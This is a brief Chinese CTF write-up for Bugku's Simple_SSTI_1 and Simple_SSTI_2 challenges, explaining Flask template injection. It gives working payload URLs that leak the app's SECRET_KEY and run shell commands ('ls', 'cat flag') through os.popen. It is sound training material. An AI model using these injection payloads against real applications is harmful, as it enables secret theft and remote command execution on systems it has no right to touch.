bugku web Simple_SSTI_1 Simple_SSTI_2

一、知识点

flask模板注入

{{config}}     可以获取当前设置
__class__      用来查看变量所属的类，根据前面的变量形式可以得到其所属的类
__init__       初始化类，返回的类型是function
__globals__[]  函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量
read()         获取返回内容

二、Simple_SSTI_1

http://114.67.246.176:14745/?flag={{config.SECRET_KEY}}

三、Simple_SSTI_2

http://114.67.246.176:14745/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

查看当前目录下的文件，发现当前目录下即存在flag，将ls替换为cat flag即可得到flag。

http://114.67.246.176:14745/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat flag%27).read()}}